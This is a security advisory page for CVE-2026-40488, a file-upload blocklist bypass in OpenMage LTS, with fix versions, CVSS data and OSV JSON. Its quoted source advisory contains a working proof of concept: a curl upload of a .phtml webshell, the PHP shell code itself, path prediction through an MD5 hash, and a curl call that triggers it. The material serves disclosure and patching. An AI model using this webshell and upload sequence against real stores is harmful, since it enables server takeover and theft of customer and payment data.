CVE-2026-40488: OpenMage LTS Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-3j5q-7q7h-2hhv
CVSS 8.8
CWE-434
Published
Advisory Summary

CVE-2026-40488 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-434: Unrestricted Upload of File with Dangerous Type) affecting OpenMage LTS libraries in the Packagist ecosystem. The issue involves customer file upload extension blocklist bypass → remote code execution. Remediation is available by upgrading affected packages to version 20.17.0.

CVE-2026-40488 at a Glance

CVE Identifier CVE-2026-40488
GHSA Identifier GHSA-3j5q-7q7h-2hhv
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-434: Unrestricted Upload of File with Dangerous Type
Affected Product OpenMage LTS
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-40488

To remediate this vulnerability, upgrade all affected OpenMage LTS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

openmage/magento-lts fixed: 20.17.0
Upgrade openmage/magento-lts to 20.17.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for openmage/magento-lts

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40488, inspect your project dependencies for OpenMage LTS:

inspect dependencies for openmage/magento-lts

Analyze the terminal output to locate any version of OpenMage LTS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 20.17.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-434: Unrestricted Upload of File with Dangerous Type, where the product allows the upload or transfer of dangerous file types that are automatically processed within its environment. In OpenMage LTS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution. ## Affected Version - **Project:** OpenMage/magento-lts - **Vulnerable File:** `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php` - **Vulnerable Lines:** 230-237 (`_validateUploadedFile()`) - **Configuration:** `app/code/core/Mage/Catalog/etc/config.xml:824` ## Root Cause The file upload handler uses `Zend_File_Transfer_Adapter_Http` directly with `ExcludeExtension` validator, referencing only: ```xml <!-- Catalog/etc/config.xml:824 --> <forbidden_extensions>php,exe</forbidden_extensions> ``` This misses the comprehensive `protected_extensions` blocklist defined elsewhere: ```xml <!-- Core/etc/config.xml:449-478 --> php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, htm, html, pht, phtml, shtml ``` ## Vulnerable Code ```php // app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237 $_allowed = $this->_parseExtensionsString($option->getFileExtension()); if ($_allowed !== null) { $upload->addValidator('Extension', false, $_allowed); } else { $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions')); if ($_forbidden !== null) { $upload->addValidator('ExcludeExtension', false, $_forbidden); // Only blocks php,exe! } } ``` ## Steps to Reproduce ### 1. Environment Setup Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler) ### 2. Exploitation ```bash # Upload .phtml (bypasses blocklist) curl -X POST "https://target.com/vulnerable_upload.php" \ -F "file=@shell.phtml;filename=shell.phtml" ``` **Result:** <img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" /> ### 3. Code Execution OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls: **Subdirectory** — `getDispretionPath($filename)` takes the **first two characters** of the uploaded filename and uses them as nested directory names: ``` filename = "shell.phtml" → s/ h/ → media/custom_options/quote/s/h/ ``` **Filename** — `md5(file_get_contents($tmp_name))` is computed over the **raw bytes of the uploaded payload** (`File.php:245`): ```php // app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245 $fileHash = md5(file_get_contents($fileInfo['tmp_name'])); $filePath = $dispersion . DS . $fileHash . '.' . $extension; ``` Because the attacker writes the webshell themselves, both the filename prefix and file contents are known **before the upload request is sent**. The full URL can be pre-computed: ```bash SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n' HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1) PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h ```bash curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml" ``` **Result:** RCE Confirmed <img width="1559" height="827" alt="image" src="https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260" /> ## Affected Deployments | Configuration | Status | |---------------|--------| | Apache + mod_php (with `php_flag engine 0`) | SAFE | | Apache + PHP-FPM | **VULNERABLE** | | Nginx (reference hardened config) | SAFE | | Nginx (generic config with .phtml→FPM) | **VULNERABLE** | ## Impact 1. **Remote Code Execution:** Full server compromise through webshell upload 2. **Data Exfiltration:** Access to database credentials, customer PII, payment data 3. **Lateral Movement:** Pivot to internal infrastructure 4. **Supply Chain:** Inject malicious code into served content

CVE-2026-40488 Affected OpenMage LTS Versions

1 component(s)
Fixed Versions:
20.17.0
Product / Package Ecosystem Affected Versions Fixed Version
openmage/magento-lts
Packagist
< 20.17.0
20.17.0

References

Frequently Asked Questions

What is CVE-2026-40488?
CVE-2026-40488 is a security vulnerability in OpenMage LTS involving Customer File Upload Extension Blocklist Bypass → Remote Code Execution under CWE-434: Unrestricted Upload of File with Dangerous Type.
Which OpenMage LTS versions are affected?
Affected versions include releases prior to 20.17.0 across affected packages: openmage/magento-lts.
What version fixes CVE-2026-40488?
Upgrading to 20.17.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is openmage/magento-lts affected?
Yes, openmage/magento-lts is affected in releases prior to 20.17.0. Upgrade your dependency to 20.17.0 or later.
What is the CVSS score of CVE-2026-40488?
CVE-2026-40488 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-40488?
CVE-2026-40488 is classified under CWE-434: Unrestricted Upload of File with Dangerous Type (The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.).
How can I check Packagist dependencies for CVE-2026-40488?
Run the dependency tree command: 'inspect dependencies for openmage/magento-lts'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3j5q-7q7h-2hhv",
  "modified" : "2026-04-27T16:31:57Z",
  "published" : "2026-04-21T18:53:13Z",
  "aliases" : [ "CVE-2026-40488" ],
  "summary" : "OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution",
  "details" : "The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.\n\n## Affected Version\n\n- **Project:** OpenMage/magento-lts\n- **Vulnerable File:** `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php`\n- **Vulnerable Lines:** 230-237 (`_validateUploadedFile()`)\n- **Configuration:** `app/code/core/Mage/Catalog/etc/config.xml:824`\n\n## Root Cause\n\nThe file upload handler uses `Zend_File_Transfer_Adapter_Http` directly with `ExcludeExtension` validator, referencing only:\n\n```xml\n<!-- Catalog/etc/config.xml:824 -->\n<forbidden_extensions>php,exe</forbidden_extensions>\n```\n\nThis misses the comprehensive `protected_extensions` blocklist defined elsewhere:\n\n```xml\n<!-- Core/etc/config.xml:449-478 -->\nphp, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, \nhtm, html, pht, phtml, shtml\n```\n\n## Vulnerable Code\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237\n$_allowed = $this->_parseExtensionsString($option->getFileExtension());\nif ($_allowed !== null) {\n    $upload->addValidator('Extension', false, $_allowed);\n} else {\n    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));\n    if ($_forbidden !== null) {\n        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!\n    }\n}\n```\n\n## Steps to Reproduce\n\n### 1. Environment Setup\n\nTarget: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)\n\n### 2. Exploitation\n\n\n```bash\n# Upload .phtml (bypasses blocklist)\ncurl -X POST \"https://target.com/vulnerable_upload.php\" \\\n  -F \"file=@shell.phtml;filename=shell.phtml\"\n```\n\n**Result:** \n<img width=\"1563\" height=\"733\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691\" />\n\n### 3. Code Execution\n\nOpenMage derives the uploaded file's storage path deterministically from two values the attacker\nalready controls:\n\n**Subdirectory** — `getDispretionPath($filename)` takes the **first two characters** of the\nuploaded filename and uses them as nested directory names:\n\n```\nfilename = \"shell.phtml\"  →  s/ h/  →  media/custom_options/quote/s/h/\n```\n\n**Filename** — `md5(file_get_contents($tmp_name))` is computed over the **raw bytes of the\nuploaded payload** (`File.php:245`):\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245\n$fileHash = md5(file_get_contents($fileInfo['tmp_name']));\n$filePath  = $dispersion . DS . $fileHash . '.' . $extension;\n```\n\nBecause the attacker writes the webshell themselves, both the filename prefix and file contents are\nknown **before the upload request is sent**. The full URL can be pre-computed:\n\n```bash\nSHELL_CONTENT='<?php echo exec(\"id\"); system($_GET[\"cmd\"]??\"id\"); ?>\\n'\nHASH=$(echo -n \"$SHELL_CONTENT\" | md5sum | cut -d' ' -f1)\nPREFIX=$(echo \"shell\" | cut -c1-2 | sed 's/./&\\//g' | tr -d '\\n' | sed 's/\\/$//') # → s/h\n\n```bash\ncurl \"https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml\"\n```\n\n**Result:** RCE Confirmed\n\n<img width=\"1559\" height=\"827\" alt=\"image\" src=\"https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260\" />\n\n## Affected Deployments\n\n| Configuration | Status |\n|---------------|--------|\n| Apache + mod_php (with `php_flag engine 0`) | SAFE |\n| Apache + PHP-FPM | **VULNERABLE** |\n| Nginx (reference hardened config) | SAFE |\n| Nginx (generic config with .phtml→FPM) | **VULNERABLE** |\n\n## Impact\n\n1. **Remote Code Execution:** Full server compromise through webshell upload\n2. **Data Exfiltration:** Access to database credentials, customer PII, payment data\n3. **Lateral Movement:** Pivot to internal infrastructure\n4. **Supply Chain:** Inject malicious code into served content",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "openmage/magento-lts"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "20.17.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 20.16.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-3j5q-7q7h-2hhv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40488"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OpenMage/magento-lts"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-434" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-21T18:53:13Z",
    "nvd_published_at" : "2026-04-20T17:16:36Z"
  }
}